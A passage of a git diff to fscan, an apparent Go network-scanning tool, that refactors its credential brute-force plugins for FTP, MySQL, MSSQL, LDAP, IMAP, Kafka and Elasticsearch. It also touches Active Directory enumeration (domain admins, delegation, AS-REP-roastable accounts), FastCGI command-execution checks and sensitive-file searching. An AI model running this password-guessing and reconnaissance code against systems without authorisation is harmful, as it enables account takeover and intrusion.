fmt.Println("域用户:") for _, user := range users { fmt.Println("\t" + user) } @@ -737,7 +737,7 @@ func DCInfoScan(info *Common.HostInfo) (err error) { } // 打印域管理员信息 - fmt.Println("[*] 域管理员:") + fmt.Println("域管理员:") for _, admin := range admins { fmt.Println("\t" + admin) } @@ -750,7 +750,7 @@ func DCInfoScan(info *Common.HostInfo) (err error) { } // 打印组织单位信息 - fmt.Println("[*] 组织单位:") + fmt.Println("组织单位:") for _, ou := range ous { fmt.Println("\t" + ou) } @@ -763,7 +763,7 @@ func DCInfoScan(info *Common.HostInfo) (err error) { } // 打印域计算机信息 - fmt.Println("[*] 域计算机:") + fmt.Println("域计算机:") for _, computer := range computers { fmt.Printf("\t%s", computer.Name) if computer.OperatingSystem != "" { @@ -775,7 +775,7 @@ func DCInfoScan(info *Common.HostInfo) (err error) { // 获取并显示信任域关系 trustDomains, err := di.GetTrustDomains() if err == nil { - fmt.Println("[*] 信任域关系:") + fmt.Println("信任域关系:") for _, domain := range trustDomains { fmt.Printf("\t%s\n", domain) } @@ -786,7 +786,7 @@ func DCInfoScan(info *Common.HostInfo) (err error) { adminGroups, err := di.GetAdminGroups() if err == nil { for groupName, members := range adminGroups { - fmt.Printf("[*] %s成员:\n", groupName) + fmt.Printf("%s成员:\n", groupName) for _, member := range members { fmt.Printf("\t%s\n", member) } @@ -798,7 +798,7 @@ func DCInfoScan(info *Common.HostInfo) (err error) { delegations, err := di.GetDelegation() if err == nil { for delegationType, entries := range delegations { - fmt.Printf("[*] %s:\n", delegationType) + fmt.Printf("%s:\n", delegationType) for _, entry := range entries { fmt.Printf("\t%s\n", entry) } @@ -809,7 +809,7 @@ func DCInfoScan(info *Common.HostInfo) (err error) { // 获取并显示AS-REP Roasting漏洞用户 asrepUsers, err := di.GetAsrepRoastUsers() if err == nil { - fmt.Println("[*] AS-REP弱口令账户:") + fmt.Println("AS-REP弱口令账户:") for _, user := range asrepUsers { fmt.Printf("\t%s\n", user) } @@ -819,7 +819,7 @@ func DCInfoScan(info *Common.HostInfo) (err error) { // 获取并显示域密码策略 passwordPolicy, err := di.GetPasswordPolicy() if err == nil { - fmt.Println("[*] 域密码策略:") + fmt.Println("域密码策略:") for key, value := range passwordPolicy { fmt.Printf("\t%s: %s\n", key, value) } @@ -843,7 +843,7 @@ func DCInfoScan(info *Common.HostInfo) (err error) { fmt.Println() } } else { - fmt.Println("[*] 未发现SPN信息\n") + fmt.Println("未发现SPN信息\n") } return nil } diff --git a/Plugins/Elasticsearch.go b/Plugins/Elasticsearch.go index db53a11..b813e89 100644 --- a/Plugins/Elasticsearch.go +++ b/Plugins/Elasticsearch.go @@ -7,7 +7,6 @@ import ( "github.com/shadow1ng/fscan/Common" "net/http" "strings" - "sync" "time" ) @@ -18,7 +17,6 @@ func ElasticScan(info *Common.HostInfo) (tmperr error) { } maxRetries := Common.MaxRetries - threads := Common.BruteThreads // 首先测试无认证访问 for retryCount := 0; retryCount < maxRetries; retryCount++ { @@ -35,105 +33,62 @@ func ElasticScan(info *Common.HostInfo) (tmperr error) { break } - // 创建任务通道 - taskChan := make(chan struct { - user string - pass string - }, len(Common.Userdict["elastic"])*len(Common.Passwords)) + starttime := time.Now().Unix() - resultChan := make(chan error, threads) - - // 生成所有用户名密码组合任务 + // 遍历所有用户名密码组合 for _, user := range Common.Userdict["elastic"] { for _, pass := range Common.Passwords { pass = strings.Replace(pass, "{user}", user, -1) - taskChan <- struct { - user string - pass string - }{user, pass} - } - } - close(taskChan) - // 启动工作线程 - var wg sync.WaitGroup - for i := 0; i < threads; i++ { - wg.Add(1) - go func() { - defer wg.Done() - starttime := time.Now().Unix() + // 检查是否超时 + if time.Now().Unix()-starttime > int64(Common.Timeout) { + return fmt.Errorf("扫描超时") + } - for task := range taskChan { - // 重试循环 - for retryCount := 0; retryCount < maxRetries; retryCount++ { - // 检查是否超时 - if time.Now().Unix()-starttime > int64(Common.Timeout) { - resultChan <- fmt.Errorf("扫描超时") - return - } + // 重试循环 + for retryCount := 0; retryCount < maxRetries; retryCount++ { + // 执行连接尝试 + done := make(chan struct { + success bool + err error + }) - // 执行连接尝试 - done := make(chan struct { + go func(user, pass string) { + flag, err := ElasticConn(info, user, pass) + done <- struct { success bool err error - }) + }{flag, err} + }(user, pass) - go func(user, pass string) { - flag, err := ElasticConn(info, user, pass) - done <- struct { - success bool - err error - }{flag, err} - }(task.user, task.pass) - - // 等待结果或超时 - var err error - select { - case result := <-done: - err = result.err - if result.success && err == nil { - resultChan <- nil - return - } - case <-time.After(time.Duration(Common.Timeout) * time.Second): - err = fmt.Errorf("连接超时") + // 等待结果或超时 + var err error + select { + case result := <-done: + err = result.err + if result.success && err == nil { + return nil } - - // 处理错误情况 - if err != nil { - errlog := fmt.Sprintf("Elasticsearch服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v", - info.Host, info.Ports, task.user, task.pass, err) - Common.LogError(errlog) - - // 检查是否需要重试 - if retryErr := Common.CheckErrs(err); retryErr != nil { - if retryCount == maxRetries-1 { - resultChan <- err - return - } - continue // 继续重试 - } - } - - break // 如果不需要重试,跳出重试循环 + case <-time.After(time.Duration(Common.Timeout) * time.Second): + err = fmt.Errorf("连接超时") } - } - resultChan <- nil - }() - } - // 等待所有线程完成 - go func() { - wg.Wait() - close(resultChan) - }() + // 处理错误情况 + if err != nil { + errlog := fmt.Sprintf("Elasticsearch服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v", + info.Host, info.Ports, user, pass, err) + Common.LogError(errlog) - // 检查结果 - for err := range resultChan { - if err != nil { - tmperr = err - if retryErr := Common.CheckErrs(err); retryErr != nil { - return err + // 检查是否需要重试 + if retryErr := Common.CheckErrs(err); retryErr != nil { + if retryCount == maxRetries-1 { + return err + } + continue // 继续重试 + } + } + + break // 如果不需要重试,跳出重试循环 } } } diff --git a/Plugins/FTP.go b/Plugins/FTP.go index 9bd6cec..d30cd5b 100644 --- a/Plugins/FTP.go +++ b/Plugins/FTP.go @@ -1,12 +1,10 @@ package Plugins import ( - "context" "fmt" "github.com/jlaffaye/ftp" "github.com/shadow1ng/fscan/Common" "strings" - "sync" "time" ) @@ -17,11 +15,6 @@ func FtpScan(info *Common.HostInfo) (tmperr error) { } maxRetries := Common.MaxRetries - threads := Common.BruteThreads - - // 创建带取消功能的context - ctx, cancel := context.WithCancel(context.Background()) - defer cancel() // 先尝试匿名登录 for retryCount := 0; retryCount < maxRetries; retryCount++ { @@ -29,152 +22,74 @@ func FtpScan(info *Common.HostInfo) (tmperr error) { if flag && err == nil { return nil } - errlog := fmt.Sprintf("ftp %v:%v %v %v", info.Host, info.Ports, "anonymous", err) + errlog := fmt.Sprintf("[-] ftp %v:%v %v %v", info.Host, info.Ports, "anonymous", err) Common.LogError(errlog) - if err != nil && !strings.Contains(err.Error(), "Login incorrect") { - if retryErr := Common.CheckErrs(err); retryErr != nil { - if retryCount == maxRetries-1 { - return err - } - continue + if retryErr := Common.CheckErrs(err); retryErr != nil { + if retryCount == maxRetries-1 { + return err } + continue } break } - taskChan := make(chan struct { - user string - pass string - }, len(Common.Userdict["ftp"])*len(Common.Passwords)) + starttime := time.Now().Unix() - // 任务分发goroutine - go func() { - defer close(taskChan) - for _, user := range Common.Userdict["ftp"] { - for _, pass := range Common.Passwords { - select { - case <-ctx.Done(): - return - default: - pass = strings.Replace(pass, "{user}", user, -1) - taskChan <- struct { - user string - pass string - }{user, pass} - } + // 遍历所有用户名密码组合 + for _, user := range Common.Userdict["ftp"] { + for _, pass := range Common.Passwords { + pass = strings.Replace(pass, "{user}", user, -1) + + // 检查是否超时 + if time.Now().Unix()-starttime > int64(Common.Timeout) { + return fmt.Errorf("扫描超时") } - } - }() - var wg sync.WaitGroup - resultChan := make(chan error, threads) + // 重试循环 + for retryCount := 0; retryCount < maxRetries; retryCount++ { + // 执行FTP连接 + done := make(chan struct { + success bool + err error + }) - // 启动工作线程 - for i := 0; i < threads; i++ { - wg.Add(1) - go func() { - defer wg.Done() - for task := range taskChan { - select { - case <-ctx.Done(): - resultChan <- nil - return - default: - } - - // 重试循环 - for retryCount := 0; retryCount < maxRetries; retryCount++ { - done := make(chan struct { + go func(user, pass string) { + success, err := FtpConn(info, user, pass) + done <- struct { success bool err error - }, 1) + }{success, err} + }(user, pass) - connCtx, connCancel := context.WithTimeout(ctx, time.Duration(Common.Timeout)*time.Second) - - go func(user, pass string) { - success, err := FtpConn(info, user, pass) - select { - case <-connCtx.Done(): - case done <- struct { - success bool - err error - }{success, err}: - } - }(task.user, task.pass) - - var err error - select { - case <-ctx.Done(): - connCancel() - resultChan <- nil - return - case result := <-done: - err = result.err - if result.success && err == nil { - successLog := fmt.Sprintf("FTP %v:%v %v %v", - info.Host, info.Ports, task.user, task.pass) - Common.LogSuccess(successLog) - time.Sleep(100 * time.Millisecond) - cancel() // 取消所有操作 - resultChan <- nil - return - } - case <-connCtx.Done(): - err = fmt.Errorf("连接超时") + // 等待结果或超时 + var err error + select { + case result := <-done: + err = result.err + if result.success && err == nil { + return nil } + case <-time.After(time.Duration(Common.Timeout) * time.Second): + err = fmt.Errorf("连接超时") + } - connCancel() + // 处理错误情况 + if err != nil { + errlog := fmt.Sprintf("[-] ftp %v:%v %v %v %v", + info.Host, info.Ports, user, pass, err) + Common.LogError(errlog) - if err != nil { - select { - case <-ctx.Done(): - resultChan <- nil - return - default: - } - - errlog := fmt.Sprintf("ftp %v:%v %v %v %v", - info.Host, info.Ports, task.user, task.pass, err) - Common.LogError(errlog) - - if strings.Contains(err.Error(), "Login incorrect") { - break - } - - if strings.Contains(err.Error(), "too many connections") { - time.Sleep(5 * time.Second) - if retryCount < maxRetries-1 { - continue - } - } - - if retryErr := Common.CheckErrs(err); retryErr != nil { - if retryCount == maxRetries-1 { - continue - } - continue + // 检查是否需要重试 + if retryErr := Common.CheckErrs(err); retryErr != nil { + if retryCount == maxRetries-1 { + return err } + continue // 继续重试 } - break } - } - resultChan <- nil - }() - } - go func() { - wg.Wait() - close(resultChan) - }() - - for err := range resultChan { - if err != nil { - tmperr = err - if !strings.Contains(err.Error(), "扫描超时") { - if retryErr := Common.CheckErrs(err); retryErr != nil { - continue - } + break // 如果不需要重试,跳出重试循环 } } } @@ -191,12 +106,6 @@ func FtpConn(info *Common.HostInfo, user string, pass string) (flag bool, err er if err != nil { return false, err } - // 确保连接被关闭 - defer func() { - if conn != nil { - conn.Quit() // 发送QUIT命令关闭连接 - } - }() // 尝试登录 if err = conn.Login(Username, Password); err != nil { @@ -204,7 +113,7 @@ func FtpConn(info *Common.HostInfo, user string, pass string) (flag bool, err er } // 登录成功,获取目录信息 - result := fmt.Sprintf("ftp %v:%v:%v %v", Host, Port, Username, Password) + result := fmt.Sprintf("[+] ftp %v:%v:%v %v", Host, Port, Username, Password) dirs, err := conn.List("") if err == nil && len(dirs) > 0 { // 最多显示前6个目录 @@ -217,5 +126,6 @@ func FtpConn(info *Common.HostInfo, user string, pass string) (flag bool, err er } } + Common.LogSuccess(result) return true, nil } diff --git a/Plugins/FcgiScan.go b/Plugins/FcgiScan.go index 696f4e2..d679d98 100644 --- a/Plugins/FcgiScan.go +++ b/Plugins/FcgiScan.go @@ -71,14 +71,14 @@ func FcgiScan(info *Common.HostInfo) error { } }() if err != nil { - fmt.Printf("[-] FastCGI连接失败 %v:%v - %v\n", info.Host, info.Ports, err) + fmt.Printf("FastCGI连接失败 %v:%v - %v\n", info.Host, info.Ports, err) return err } // 发送FastCGI请求 stdout, stderr, err := fcgi.Request(env, reqParams) if err != nil { - fmt.Printf("[-] FastCGI请求失败 %v:%v - %v\n", info.Host, info.Ports, err) + fmt.Printf("FastCGI请求失败 %v:%v - %v\n", info.Host, info.Ports, err) return err } @@ -90,10 +90,10 @@ func FcgiScan(info *Common.HostInfo) error { // 命令执行成功,提取输出结果 output = strings.SplitN(output, cutLine, 2)[0] if len(stderr) > 0 { - result = fmt.Sprintf("[+] FastCGI漏洞确认 %v:%v\n命令输出:\n%v\n错误信息:\n%v\n建议尝试其他路径,例如: -path /www/wwwroot/index.php", + result = fmt.Sprintf("FastCGI漏洞确认 %v:%v\n命令输出:\n%v\n错误信息:\n%v\n建议尝试其他路径,例如: -path /www/wwwroot/index.php", info.Host, info.Ports, output, string(stderr)) } else { - result = fmt.Sprintf("[+] FastCGI漏洞确认 %v:%v\n命令输出:\n%v", + result = fmt.Sprintf("FastCGI漏洞确认 %v:%v\n命令输出:\n%v", info.Host, info.Ports, output) } Common.LogSuccess(result) @@ -102,10 +102,10 @@ func FcgiScan(info *Common.HostInfo) error { strings.Contains(output, "Status") { // 目标存在FastCGI服务但可能路径错误 if len(stderr) > 0 { - result = fmt.Sprintf("[*] FastCGI服务确认 %v:%v\n响应:\n%v\n错误信息:\n%v\n建议尝试其他路径,例如: -path /www/wwwroot/index.php", + result = fmt.Sprintf("FastCGI服务确认 %v:%v\n响应:\n%v\n错误信息:\n%v\n建议尝试其他路径,例如: -path /www/wwwroot/index.php", info.Host, info.Ports, output, string(stderr)) } else { - result = fmt.Sprintf("[*] FastCGI服务确认 %v:%v\n响应:\n%v", + result = fmt.Sprintf("FastCGI服务确认 %v:%v\n响应:\n%v", info.Host, info.Ports, output) } Common.LogSuccess(result) diff --git a/Plugins/FindNet.go b/Plugins/FindNet.go index 7b850bd..a982bc4 100644 --- a/Plugins/FindNet.go +++ b/Plugins/FindNet.go @@ -149,12 +149,12 @@ func read(text []byte, host string) error { } // 构建基础结果 - result := fmt.Sprintf("[*] NetInfo 扫描结果") - result += fmt.Sprintf("\n[*] 目标主机: %s", host) + result := fmt.Sprintf("NetInfo 扫描结果") + result += fmt.Sprintf("\n目标主机: %s", host) if name != "" { - result += fmt.Sprintf("\n[*] 主机名: %s", name) + result += fmt.Sprintf("\n主机名: %s", name) } - result += "\n[*] 发现的网络接口:" + result += "\n发现的网络接口:" // 用于分类存储地址 var ipv4Addrs []string diff --git a/Plugins/IMAP.go b/Plugins/IMAP.go index 1f96a67..89e92e0 100644 --- a/Plugins/IMAP.go +++ b/Plugins/IMAP.go @@ -8,7 +8,6 @@ import ( "io" "net" "strings" - "sync" "time" ) @@ -18,102 +17,61 @@ func IMAPScan(info *Common.HostInfo) (tmperr error) { } maxRetries := Common.MaxRetries - threads := Common.BruteThreads + starttime := time.Now().Unix() - taskChan := make(chan struct { - user string - pass string - }, len(Common.Userdict["imap"])*len(Common.Passwords)) - - resultChan := make(chan error, threads) - - // 生成所有用户名密码组合任务 + // 遍历所有用户名密码组合 for _, user := range Common.Userdict["imap"] { for _, pass := range Common.Passwords { pass = strings.Replace(pass, "{user}", user, -1) - taskChan <- struct { - user string - pass string - }{user, pass} - } - } - close(taskChan) - var wg sync.WaitGroup - for i := 0; i < threads; i++ { - wg.Add(1) - go func() { - defer wg.Done() - starttime := time.Now().Unix() + // 检查是否超时 + if time.Now().Unix()-starttime > int64(Common.Timeout) { + return fmt.Errorf("扫描超时") + } - for task := range taskChan { - // 重试循环 - for retryCount := 0; retryCount < maxRetries; retryCount++ { - // 检查是否超时 - if time.Now().Unix()-starttime > int64(Common.Timeout) { - resultChan <- fmt.Errorf("扫描超时") - return - } + // 重试循环 + for retryCount := 0; retryCount < maxRetries; retryCount++ { + // 执行IMAP连接 + done := make(chan struct { + success bool + err error + }) - // 执行IMAP连接 - done := make(chan struct { + go func(user, pass string) { + success, err := IMAPConn(info, user, pass) + done <- struct { success bool err error - }) + }{success, err} + }(user, pass) - go func(user, pass string) { - success, err := IMAPConn(info, user, pass) - done <- struct { - success bool - err error - }{success, err} - }(task.user, task.pass) - - // 等待结果或超时 - var err error - select { - case result := <-done: - err = result.err - if result.success && err == nil { - resultChan <- nil - return - } - case <-time.After(time.Duration(Common.Timeout) * time.Second): - err = fmt.Errorf("连接超时") + // 等待结果或超时 + var err error + select { + case result := <-done: + err = result.err + if result.success && err == nil { + return nil } - - // 处理错误情况 - if err != nil { - errlog := fmt.Sprintf("IMAP服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v", - info.Host, info.Ports, task.user, task.pass, err) - Common.LogError(errlog) - - if retryErr := Common.CheckErrs(err); retryErr != nil { - if retryCount == maxRetries-1 { - resultChan <- err - return - } - continue - } - } - - break + case <-time.After(time.Duration(Common.Timeout) * time.Second): + err = fmt.Errorf("连接超时") } - } - resultChan <- nil - }() - } - go func() { - wg.Wait() - close(resultChan) - }() + // 处理错误情况 + if err != nil { + errlog := fmt.Sprintf("IMAP服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v", + info.Host, info.Ports, user, pass, err) + Common.LogError(errlog) - for err := range resultChan { - if err != nil { - tmperr = err - if retryErr := Common.CheckErrs(err); retryErr != nil { - return err + if retryErr := Common.CheckErrs(err); retryErr != nil { + if retryCount == maxRetries-1 { + return err + } + continue + } + } + + break } } } diff --git a/Plugins/Kafka.go b/Plugins/Kafka.go index d5e254e..562cc77 100644 --- a/Plugins/Kafka.go +++ b/Plugins/Kafka.go @@ -5,18 +5,15 @@ import ( "github.com/IBM/sarama" "github.com/shadow1ng/fscan/Common" "strings" - "sync" "time" ) -// KafkaScan 执行 Kafka 服务扫描 func KafkaScan(info *Common.HostInfo) (tmperr error) { if Common.DisableBrute { return } maxRetries := Common.MaxRetries - threads := Common.BruteThreads // 首先测试无认证访问 for retryCount := 0; retryCount < maxRetries; retryCount++ { @@ -33,105 +30,62 @@ func KafkaScan(info *Common.HostInfo) (tmperr error) { break } - // 创建任务通道 - taskChan := make(chan struct { - user string - pass string - }, len(Common.Userdict["kafka"])*len(Common.Passwords)) + starttime := time.Now().Unix() - resultChan := make(chan error, threads) - - // 生成所有用户名密码组合任务 + // 遍历所有用户名密码组合 for _, user := range Common.Userdict["kafka"] { for _, pass := range Common.Passwords { pass = strings.Replace(pass, "{user}", user, -1) - taskChan <- struct { - user string - pass string - }{user, pass} - } - } - close(taskChan) - // 启动工作线程 - var wg sync.WaitGroup - for i := 0; i < threads; i++ { - wg.Add(1) - go func() { - defer wg.Done() - starttime := time.Now().Unix() + // 检查是否超时 + if time.Now().Unix()-starttime > int64(Common.Timeout) { + return fmt.Errorf("扫描超时") + } - for task := range taskChan { - // 重试循环 - for retryCount := 0; retryCount < maxRetries; retryCount++ { - // 检查是否超时 - if time.Now().Unix()-starttime > int64(Common.Timeout) { - resultChan <- fmt.Errorf("扫描超时") - return - } + // 重试循环 + for retryCount := 0; retryCount < maxRetries; retryCount++ { + // 执行Kafka连接 + done := make(chan struct { + success bool + err error + }) - // 执行Kafka连接 - done := make(chan struct { + go func(user, pass string) { + success, err := KafkaConn(info, user, pass) + done <- struct { success bool err error - }) + }{success, err} + }(user, pass) - go func(user, pass string) { - success, err := KafkaConn(info, user, pass) - done <- struct { - success bool - err error - }{success, err} - }(task.user, task.pass) - - // 等待结果或超时 - var err error - select { - case result := <-done: - err = result.err - if result.success && err == nil { - resultChan <- nil - return - } - case <-time.After(time.Duration(Common.Timeout) * time.Second): - err = fmt.Errorf("连接超时") + // 等待结果或超时 + var err error + select { + case result := <-done: + err = result.err + if result.success && err == nil { + return nil } - - // 处理错误情况 - if err != nil { - errlog := fmt.Sprintf("Kafka服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v", - info.Host, info.Ports, task.user, task.pass, err) - Common.LogError(errlog) - - // 检查是否需要重试 - if retryErr := Common.CheckErrs(err); retryErr != nil { - if retryCount == maxRetries-1 { - resultChan <- err - return - } - continue // 继续重试 - } - } - - break // 如果不需要重试,跳出重试循环 + case <-time.After(time.Duration(Common.Timeout) * time.Second): + err = fmt.Errorf("连接超时") } - } - resultChan <- nil - }() - } - // 等待所有线程完成 - go func() { - wg.Wait() - close(resultChan) - }() + // 处理错误情况 + if err != nil { + errlog := fmt.Sprintf("Kafka服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v", + info.Host, info.Ports, user, pass, err) + Common.LogError(errlog) - // 检查结果 - for err := range resultChan { - if err != nil { - tmperr = err - if retryErr := Common.CheckErrs(err); retryErr != nil { - return err + // 检查是否需要重试 + if retryErr := Common.CheckErrs(err); retryErr != nil { + if retryCount == maxRetries-1 { + return err + } + continue // 继续重试 + } + } + + break // 如果不需要重试,跳出重试循环 } } } diff --git a/Plugins/LDAP.go b/Plugins/LDAP.go index 7422a03..0c7a81e 100644 --- a/Plugins/LDAP.go +++ b/Plugins/LDAP.go @@ -5,7 +5,6 @@ import ( "github.com/go-ldap/ldap/v3" "github.com/shadow1ng/fscan/Common" "strings" - "sync" "time" ) @@ -16,7 +15,6 @@ func LDAPScan(info *Common.HostInfo) (tmperr error) { } maxRetries := Common.MaxRetries - threads := Common.BruteThreads // 首先尝试匿名访问 flag, err := LDAPConn(info, "", "") @@ -24,105 +22,62 @@ func LDAPScan(info *Common.HostInfo) (tmperr error) { return err } - // 创建任务通道 - taskChan := make(chan struct { - user string - pass string - }, len(Common.Userdict["ldap"])*len(Common.Passwords)) + starttime := time.Now().Unix() - resultChan := make(chan error, threads) - - // 生成所有用户名密码组合任务 + // 遍历所有用户名密码组合 for _, user := range Common.Userdict["ldap"] { for _, pass := range Common.Passwords { pass = strings.Replace(pass, "{user}", user, -1) - taskChan <- struct { - user string - pass string - }{user, pass} - } - } - close(taskChan) - // 启动工作线程 - var wg sync.WaitGroup - for i := 0; i < threads; i++ { - wg.Add(1) - go func() { - defer wg.Done() - starttime := time.Now().Unix() + // 检查是否超时 + if time.Now().Unix()-starttime > int64(Common.Timeout) { + return fmt.Errorf("扫描超时") + } - for task := range taskChan { - // 重试循环 - for retryCount := 0; retryCount < maxRetries; retryCount++ { - // 检查是否超时 - if time.Now().Unix()-starttime > int64(Common.Timeout) { - resultChan <- fmt.Errorf("扫描超时") - return - } + // 重试循环 + for retryCount := 0; retryCount < maxRetries; retryCount++ { + // 执行LDAP连接 + done := make(chan struct { + success bool + err error + }) - // 执行LDAP连接 - done := make(chan struct { + go func(user, pass string) { + success, err := LDAPConn(info, user, pass) + done <- struct { success bool err error - }) + }{success, err} + }(user, pass) - go func(user, pass string) { - success, err := LDAPConn(info, user, pass) - done <- struct { - success bool - err error - }{success, err} - }(task.user, task.pass) - - // 等待结果或超时 - var err error - select { - case result := <-done: - err = result.err - if result.success && err == nil { - resultChan <- nil - return - } - case <-time.After(time.Duration(Common.Timeout) * time.Second): - err = fmt.Errorf("连接超时") + // 等待结果或超时 + var err error + select { + case result := <-done: + err = result.err + if result.success && err == nil { + return nil } - - // 处理错误情况 - if err != nil { - errlog := fmt.Sprintf("LDAP服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v", - info.Host, info.Ports, task.user, task.pass, err) - Common.LogError(errlog) - - // 检查是否需要重试 - if retryErr := Common.CheckErrs(err); retryErr != nil { - if retryCount == maxRetries-1 { - resultChan <- err - return - } - continue // 继续重试 - } - } - - break // 如果不需要重试,跳出重试循环 + case <-time.After(time.Duration(Common.Timeout) * time.Second): + err = fmt.Errorf("连接超时") } - } - resultChan <- nil - }() - } - // 等待所有线程完成 - go func() { - wg.Wait() - close(resultChan) - }() + // 处理错误情况 + if err != nil { + errlog := fmt.Sprintf("LDAP服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v", + info.Host, info.Ports, user, pass, err) + Common.LogError(errlog) - // 检查结果 - for err := range resultChan { - if err != nil { - tmperr = err - if retryErr := Common.CheckErrs(err); retryErr != nil { - return err + // 检查是否需要重试 + if retryErr := Common.CheckErrs(err); retryErr != nil { + if retryCount == maxRetries-1 { + return err + } + continue // 继续重试 + } + } + + break // 如果不需要重试,跳出重试循环 } } } diff --git a/Plugins/LocalInfo.go b/Plugins/LocalInfo.go index 9e57df8..d3b30dd 100644 --- a/Plugins/LocalInfo.go +++ b/Plugins/LocalInfo.go @@ -89,10 +89,10 @@ var ( ) func LocalInfoScan(info *Common.HostInfo) (err error) { - fmt.Println("[+] LocalInfo扫描模块开始...") + fmt.Println("LocalInfo扫描模块开始...") home, err := os.UserHomeDir() if err != nil { - errlog := fmt.Sprintf("[-] Get UserHomeDir error: %v", err) + errlog := fmt.Sprintf("Get UserHomeDir error: %v", err) Common.LogError(errlog) return err } @@ -103,7 +103,7 @@ func LocalInfoScan(info *Common.HostInfo) (err error) { // 规则搜索 searchSensitiveFiles() - fmt.Println("[+] LocalInfo扫描模块结束...") + fmt.Println("LocalInfo扫描模块结束...") return nil } @@ -148,7 +148,7 @@ func scanFixedLocations(home string) { func checkAndLogFile(path string) { if _, err := os.Stat(path); err == nil { - result := fmt.Sprintf("[+] Found sensitive file: %s", path) + result := fmt.Sprintf("Found sensitive file: %s", path) Common.LogSuccess(result) } } @@ -202,7 +202,7 @@ func searchSensitiveFiles() { for _, white := range whitelist { fileName := strings.ToLower(info.Name()) if strings.Contains(fileName, white) { - result := fmt.Sprintf("[+] Found potential sensitive file: %s", path) + result := fmt.Sprintf("Found potential sensitive file: %s", path) Common.LogSuccess(result) break } diff --git a/Plugins/MSSQL.go b/Plugins/MSSQL.go index dd3831c..c5e587f 100644 --- a/Plugins/MSSQL.go +++ b/Plugins/MSSQL.go @@ -6,7 +6,6 @@ import ( _ "github.com/denisenkom/go-mssqldb" "github.com/shadow1ng/fscan/Common" "strings" - "sync" "time" ) @@ -17,103 +16,61 @@ func MssqlScan(info *Common.HostInfo) (tmperr error) { } maxRetries := Common.MaxRetries - threads := Common.BruteThreads + starttime := time.Now().Unix() - taskChan := make(chan struct { - user string - pass string - }, len(Common.Userdict["mssql"])*len(Common.Passwords)) - - resultChan := make(chan error, threads) - - // 生成所有用户名密码组合任务 + // 遍历所有用户名密码组合 for _, user := range Common.Userdict["mssql"] { for _, pass := range Common.Passwords { pass = strings.Replace(pass, "{user}", user, -1) - taskChan <- struct { - user string - pass string - }{user, pass} - } - } - close(taskChan) - var wg sync.WaitGroup - for i := 0; i < threads; i++ { - wg.Add(1) - go func() { - defer wg.Done() - starttime := time.Now().Unix() + // 检查是否超时 + if time.Now().Unix()-starttime > int64(Common.Timeout) { + return fmt.Errorf("扫描超时") + } - for task := range taskChan { - // 重试循环 - for retryCount := 0; retryCount < maxRetries; retryCount++ { - // 检查是否超时 - if time.Now().Unix()-starttime > int64(Common.Timeout) { - resultChan <- fmt.Errorf("扫描超时") - return - } + // 重试循环 + for retryCount := 0; retryCount < maxRetries; retryCount++ { + // 执行MSSQL连接 + done := make(chan struct { + success bool + err error + }) - // 执行MSSQL连接 - done := make(chan struct { + go func(user, pass string) { + success, err := MssqlConn(info, user, pass) + done <- struct { success bool err error - }) + }{success, err} + }(user, pass) - go func(user, pass string) { - success, err := MssqlConn(info, user, pass) - done <- struct { - success bool - err error - }{success, err} - }(task.user, task.pass) - - // 等待结果或超时 - var err error - select { - case result := <-done: - err = result.err - if result.success && err == nil { - resultChan <- nil - return - } - case <-time.After(time.Duration(Common.Timeout) * time.Second): - err = fmt.Errorf("连接超时") + // 等待结果或超时 + var err error + select { + case result := <-done: + err = result.err + if result.success && err == nil { + return nil } - - if err != nil { - errlog := fmt.Sprintf("MSSQL %v:%v %v %v %v", - info.Host, info.Ports, task.user, task.pass, err) - Common.LogError(errlog) - - // 检查是否需要重试 - if retryErr := Common.CheckErrs(err); retryErr != nil { - if retryCount == maxRetries-1 { - resultChan <- err - return - } - continue // 继续重试 - } - } - - break // 如果不需要重试,跳出重试循环 + case <-time.After(time.Duration(Common.Timeout) * time.Second): + err = fmt.Errorf("连接超时") } - } - resultChan <- nil - }() - } - go func() { - wg.Wait() - close(resultChan) - }() + if err != nil { + errlog := fmt.Sprintf("MSSQL %v:%v %v %v %v", + info.Host, info.Ports, user, pass, err) + Common.LogError(errlog) - // 检查结果 - for err := range resultChan { - if err != nil { - tmperr = err - if retryErr := Common.CheckErrs(err); retryErr != nil { - return err + // 检查是否需要重试 + if retryErr := Common.CheckErrs(err); retryErr != nil { + if retryCount == maxRetries-1 { + return err + } + continue // 继续重试 + } + } + + break // 如果不需要重试,跳出重试循环 } } } @@ -150,7 +107,7 @@ func MssqlConn(info *Common.HostInfo, user string, pass string) (bool, error) { } // 连接成功 - result := fmt.Sprintf("[+] MSSQL %v:%v:%v %v", host, port, username, password) + result := fmt.Sprintf("MSSQL %v:%v:%v %v", host, port, username, password) Common.LogSuccess(result) return true, nil } diff --git a/Plugins/MySQL.go b/Plugins/MySQL.go index a2b43a6..0e1e251 100644 --- a/Plugins/MySQL.go +++ b/Plugins/MySQL.go @@ -6,7 +6,6 @@ import ( _ "github.com/go-sql-driver/mysql" "github.com/shadow1ng/fscan/Common" "strings" - "sync" "time" ) @@ -17,132 +16,72 @@ func MysqlScan(info *Common.HostInfo) (tmperr error) { } maxRetries := Common.MaxRetries - threads := Common.BruteThreads + starttime := time.Now().Unix() - // 添加成功标志通道 - successChan := make(chan struct{}, 1) - defer close(successChan) - - // 创建任务通道 - taskChan := make(chan struct { - user string - pass string - }, len(Common.Userdict["mysql"])*len(Common.Passwords)) - - resultChan := make(chan error, threads) - - // 生成所有用户名密码组合任务 + // 遍历所有用户名密码组合 for _, user := range Common.Userdict["mysql"] { for _, pass := range Common.Passwords { pass = strings.Replace(pass, "{user}", user, -1) - taskChan <- struct { - user string - pass string - }{user, pass} - } - } - close(taskChan) - // 启动工作线程 - var wg sync.WaitGroup - for i := 0; i < threads; i++ { - wg.Add(1) - go func() { - defer wg.Done() - starttime := time.Now().Unix() + // 检查是否超时 + if time.Now().Unix()-starttime > int64(Common.Timeout) { + return fmt.Errorf("扫描超时") + } - for task := range taskChan { - // 检查是否已经成功 - select { - case <-successChan: - resultChan <- nil - return - default: - } + // 重试循环 + for retryCount := 0; retryCount < maxRetries; retryCount++ { + // 执行MySQL连接 + done := make(chan struct { + success bool + err error + }) - // 重试循环 - for retryCount := 0; retryCount < maxRetries; 